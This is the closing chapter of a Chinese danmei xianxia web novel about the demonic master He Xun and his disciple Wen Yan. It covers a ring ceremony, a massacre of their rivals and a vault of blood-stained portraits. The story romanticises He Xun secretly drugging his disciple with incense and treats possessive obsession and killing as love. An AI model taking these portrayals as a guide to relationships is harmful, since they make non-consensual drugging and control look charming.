本来的闲适姿态在历数起这些事情的时候都维持不住了,贺峋抬手把人禁锢在自己怀中,像是要确认眼前人此时完完全全属于自己:“厌厌,他们怎么敢这样看你?你只能是我的。” “等一下……这都什么时候的事情?”闻厌怀疑自己的记忆出现了断层,对贺峋说的没留下一点印象。 贺峋还以为自己徒弟要赖账,毕竟这种事情对方着实干得不少,绘声绘色地详细描述起当时的情景来。 闻厌听完沉默片刻,很真诚地发问:“请问师尊,我为什么会睡着呢?” 贺峋厚颜无耻道:“因为我下了迷香。” “……” 闻厌呵呵一笑,言简意赅道:“滚。” 上一个被他这样说的刚才已经吓得连滚带爬地跑了,可在贺峋这里被自己徒弟指着鼻子骂简直司空见惯,顺了顺徒弟炸起的毛,就毫不见外地把人重新扒拉回自己怀中。 闻厌象征性地挣了挣,见没挣动,随人去了。 只是他还有些不解,毕竟按照贺峋的性格,要是看某个人如此不顺眼,那对方可很少能安然无恙地蹦跶到现在。 “你之前不是喜欢使唤他去干活吗?真弄死了你生气怎么办?至于另外一个……”贺峋嫌弃道,“实在太蠢了,怕万一会被染上。” 闻厌硬生生从对方一本正经的话语中听出了微妙的委屈,哪怕知道这大概率是某人刻意做小伏低,还是禁不住感到新奇又想笑。 他压下上翘的嘴角:“师尊还会怕我生气吗?昨晚我也生气了,又不见你有反应。” “你那又不是真的生气。”贺峋理直气壮,伸手抄起坐在窗台上的徒弟往里走,“而且我怎么没反应了?” 他低下头和人咬耳朵,闻厌最后还是被逗得笑骂一声,勾着人脖子在侧脸上狠狠地亲了一口,和人的身影一起没入寝殿深处。 …… 山海楼的那两位真的有一腿。 自从昨晚收到这个消息后,万宝宫的宫主王宏志就已经辗转反侧了一整夜。 这背后代表着的意味,让他千辛万苦遣人进山海楼的举动写满了不妙的意味。 偷鸡不成蚀把米不外乎此。 可他又琢磨着,或许还有其他可能也说不准。 关于师徒两人这方面的传言他以前零星听到过,可是没往心里去,特别是传出了闻厌弑师这档子事后,就算真有些不清不楚的关系,他也自动把其归为一时兴起的玩玩而已。 这放在魔修身上实在太正常了。 若是如此,下次再找个时机,趁着这两人没有待在一起的时候送人过去,好像也不是不行…… 但有种莫名的预感一直盘旋在他心间,他觉得自己的判断好像出现了重大失误,可又说不上是哪里不对。 他转头看其他人,发现在场不少人都心有揣揣,而且出现这种神情的一般都是这十年间明里暗里有给那位闻小楼主使绊子的人。 贺峋的出现实在太出人意料,所有人都摸不准他的态度,万一这人要给自己徒弟出气…… 不,不会的。 王宏志强行打断这个可怖的想法。 殿内一片微妙气氛,位于最上首的两人却神色如常。 贺峋道:“既然近期的事情已经商议完了,那我们接着来聊聊这十年间的事情。” 此话一出,近段时间的种种猜测瞬间涌上心头,所有人都嗅到了其中不同寻常的味道。 “关于这十年,本座听到了很多传闻。”贺峋语气和缓,可是每说一个字都让人心头发紧,似有无形的重担沉甸甸地压在心头。 “传闻里本座的徒弟在这段时间里似乎过得不太好。”贺峋道,“当然,本座这做师尊的要负绝大部分责任,要不是离开许久,也不会给人可乘之机。” 他笑着叹息了一句:“可本座的徒弟向来心软,被人欺负了也不会还手,本座听了后心里着实有些不是滋味。” 所有人越听越神色古怪,感觉十年不见,其他地方尚且看不出有什么变化,但这人对自己徒弟的错误认知倒是越来越严重。 心软? 他们横看竖看都无法把这个词和闻厌联系起来……吧。 只见闻厌乖乖巧巧地坐在自己师尊身边,浓长的眼睫微垂着,又本来就是一副漂亮过人的长相,倒真是看起来柔弱又无害。 “本座感觉有些人可能误会了什么,索性趁着今日这个机会一次性挑明了。”贺峋道。 “厌厌。”他唤了自己的徒弟一声。 闻厌心中一跳,这段时间以来就一直萦绕在心头的模糊预感再度浮现。 在越来越快的心跳中,他看着贺峋拿出了一件有些眼熟的东西,于众目睽睽下绕到他面前。 惊呼声四起。 饶是再见多识广,在场的魔修也没料到会见到接下来的这一幕。 那是象征着魔君身份的戒指,哪怕直到现在,都是不少人垂涎的对象。可是紧接着就见贺峋蹲下身,神色自然地把它戴回了自己徒弟手上。 闻厌在看到戒指的那瞬有些惊讶。 他差点都把这东西忘了,完全不记得放到了哪里,怎么会跑到了贺峋手上? 贺峋似乎看出了他的疑惑,借着起身的那一瞬间,在他耳边轻笑着道:“某天早晨醒来在榻边找到的,厌厌,你这乱扔东西的毛病什么时候能改过来。” 可闻厌已经有些听不进对方在说什么了,似乎浑身上下的感官都暂时失灵,只剩对方说话时擦着耳廓升起的温热气流。 他在这一瞬很想抓着人衣领放肆地吻上去,然而对方只是含笑看他一眼,就起身转了过去。 刚刚还在人耳边调笑着的温和神情在贺峋转身的刹那沉了下去,面向众人时,贺峋脸上还挂着笑,眼睛里却没有分毫笑意。 所有人还陷在错愕中没反应过来。 贺峋做这一系列动作的神态太过理所当然,让人感觉他就像仅仅给人披了件衣裳。 贺峋非常直白地道:“虽然本座回来了,但一切仍旧维持原状,若是有人想要趁机挑起事端,本座劝你们趁早打消这个念头。” “此为事一。”贺峋话音一顿,“至于事二……” 拖长的调子让所有人的心都悬了起来。 霎时风声鹤唳,暗处的恶意蓄势待发,而贺峋温文尔雅道:“还想请有些朋友留下来一叙。” 要开始了。 不少魔修早有准备,贺峋这句话一落下,早就在外围布好的埋伏瞬间爆发,一时杀声震天。 而贺峋揽着已经跃跃欲试的徒弟,将人往前面推了一把,轻笑道:“去吧,想杀谁就杀谁,师尊给你担着。” 血色瞬间在殿上蔓延开来。 有些魔修在动乱开始前就机灵地溜之大吉,闻厌没有阻拦,剩下的本来就是与山海楼不对付之人,知道只要这对师徒还在,就算逃得过初一也逃不过十五,索性心一横来拼一把。 没有人留手。 闻厌的衣袍很快就被血迹浸染,艳色越浓而喧嚣渐歇,等到所有声音都沉寂下来,他转身看到了一直坐在身后的贺峋。 霎时只剩下了越来越快的心跳声鼓动耳膜。 贺峋的眼中盛着笑意,安然坐在满地尸首中注视着他,姿态闲适,让闻厌分不清此刻沸反盈天的心跳是杀戮带来的生理反应,还是仅仅因为眼前人而起。 他拖着血迹未干的剑往高台上走去,低下头看人。 “高兴吗?”贺峋仰头笑吟吟地问他。 闻厌扬起嘴角,嗯了一声,接着又道:“但师尊还能让我更高兴一点。” 贺峋挑了挑眉。 “当啷——”长剑被扔到地上时迸发出一声悠长的回响。 而闻厌终于如一开始所想,用力吻上了贺峋的唇瓣。 他屈膝半跪在对方身侧,把人抵在椅背上,血腥味在互相纠缠,或许是他又不小心咬破了对方的唇。 贺峋抬手环住自己徒弟的腰,能感受到对方身体一直在止不住地轻颤,似乎是眸中的刺激与兴奋满溢出来,占据了对方此时每一处的骨肉与神经。 直到怀中人的身躯逐渐软了下来,贺峋揽着仍在止不住喘息的徒弟,说道:“厌厌,给你看个东西。” “好啊。”闻厌的嗓音还有些发颤,眼尾欲色和艳色浓重,歪在贺峋身上,像是被血肉浇灌出来的精怪,漂亮得摄人心魄。 他粲然一笑,懒洋洋地把手一伸:“师尊带我去。” …… 他没想到对方带自己去的竟然是归元岛底下的宝库。 贺峋径直往最深处走,停在了那道他怎么也打不开的石门前。 闻厌猜测过很多回这扇门背后会有什么,觉得最有可能的还是这人在漫长岁月中积累下的宝物。 “嗯?确实是宝物。”贺峋肯定了他的猜想,还笑着补充道,“举世罕见的宝物。” 下一刻,他推开了门。 比门后景象先一步被感知到的是陈旧的血腥味,穿过无数沉寂的时光来到闻厌身前,似有若无的,还没有他此刻身上的血气来得浓烈。 闻厌抬眼,看到了满屋子垂下的画卷,错落分布着,在幽暗的地底无风自动,宛若一个极具美感的展室。 ……如果忽略画布上随处可见的血迹。 画卷上是被墨色勾勒出来的身影,笔触简洁,寥寥几笔间形象便跃然纸上,姿态不同,神情各异,却又无一例外都是他。 逼真的血迹沾染在画中人的袍角脸侧,红与黑在其中交织成出一幅幅夺人眼球的奇诡画面。 闻厌看了一会儿,发现这像是他每次杀完人后的模样。 罪恶被完整陈列,可是记录的人明显在为此赞叹。 初学丹青时,贺峋就教过他,从一幅画的笔触中是能看出落笔之人的所思所想的。 而他此刻看到的是病态的痴迷与沉醉,每一道笔画都在无声地述说着疯狂的爱意,炽热得甚至让人觉得他想要偏执地把人留在永恒的画卷中。 闻厌认真地一一看完了,最后旋身对上一直站在他身后的贺峋。 他歪头一笑,随手从身侧的花瓶中抽出了一支白骨化成的花,递给贺峋,噙着笑意问对方道:“师尊会把我也变成这里的一部分吗?” “当然不,你怎么会有如此奇怪的想法。”贺峋温柔地责怪道。 他接过了闻厌递来的东西,就像接过了徒弟送给自己的玫瑰。 贺峋牵起对方的手,他亲手戴上去的戒指在白皙纤长的指节上泛着冷色调的光,他弯腰在上面落下一吻,语气轻柔缓慢,黑沉眼眸中满是令人心颤的缱绻:“厌厌,你是这里存在的意义,这里因你而熠熠生辉。” 闻厌哈哈大笑起来。 他抬手一拽,悬挂着的画卷铺天盖地地坠落,而贺峋和他一起倒在凌乱的画卷中。 他们会一起下地狱的,闻厌确信。 于是他放纵地吻上了自己的共犯。 唇齿交缠中,无形的热浪在翻涌,驱散了地底不见天日的阴冷。闻厌跪坐在贺峋身上,眉眼间的神情张狂而肆意。 他微垂眼睫,注视着自己的师尊,扬起嘴角道:“我们真是……” 拖长的调子像是某种隐晦的邀约。 贺峋便抬手拥抱住了自己费尽心思才摘得的珍宝,吻了下眼前人的鼻尖,轻笑着补完了闻厌未尽的话语。 “我们真是……命中注定的天生一对。” 【正文完】